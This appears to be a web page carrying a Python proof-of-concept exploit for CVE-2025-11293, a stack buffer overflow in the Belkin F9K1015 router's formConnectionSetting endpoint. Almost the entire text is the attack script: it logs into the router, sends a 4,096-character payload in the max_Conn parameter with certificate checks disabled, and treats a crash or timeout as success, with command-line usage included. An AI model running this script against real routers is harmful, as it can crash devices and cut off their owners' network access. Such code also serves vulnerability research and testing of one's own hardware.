CVE-2025-11293：Belkin F9K1015路由器缓冲区溢出漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11293 - Belkin F9K1015 formConnectionSetting Buffer Overflow PoC Vulnerability: Stack-based buffer overflow via max_Conn parameter Target: Belkin F9K1015 v1.00.10 Endpoint: /goform/formConnectionSetting """ import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_url, username, password): """ Exploit the buffer overflow vulnerability in formConnectionSetting. The max_Conn parameter is not properly validated, leading to buffer overflow. """ session = requests.Session() # Step 1: Authenticate to the router web interface login_url = f"{target_url}/login.cgi" login_data = { "username": username, "password": password, "submit": "Login" } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[*] Login attempt status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft the malicious payload for max_Conn parameter # The buffer overflow is triggered by an oversized max_Conn value # Adjust the payload size based on the target buffer size overflow_payload = "A" * 4096 # Overflow the stack buffer # Step 3: Send the exploit request to formConnectionSetting endpoint exploit_url = f"{target_url}/goform/formConnectionSetting" exploit_data = { "max_Conn": overflow_payload, # Additional parameters that may be required by the form "connMode": "0", "submit": "Apply" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-11293)" } try: print(f"[*] Sending exploit payload to {exploit_url}") resp = session.post(exploit_url, data=exploit_data, headers=headers, verify=False, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response length: {len(resp.text)}") # Check if the device crashed or returned unexpected response if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Target may be vulnerable - abnormal response detected") return True else: print("[*] Request completed") return True except requests.exceptions.Timeout: print("[+] Target may have crashed - timeout detected (possible overflow success)") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - target may have crashed due to overflow") return True except Exception as e: print(f"[-] Exploit error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} http://192.168.2.1 admin admin") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print("=" * 60) print("CVE-2025-11293 - Belkin F9K1015 Buffer Overflow PoC") print("=" * 60) exploit(target, user, pwd)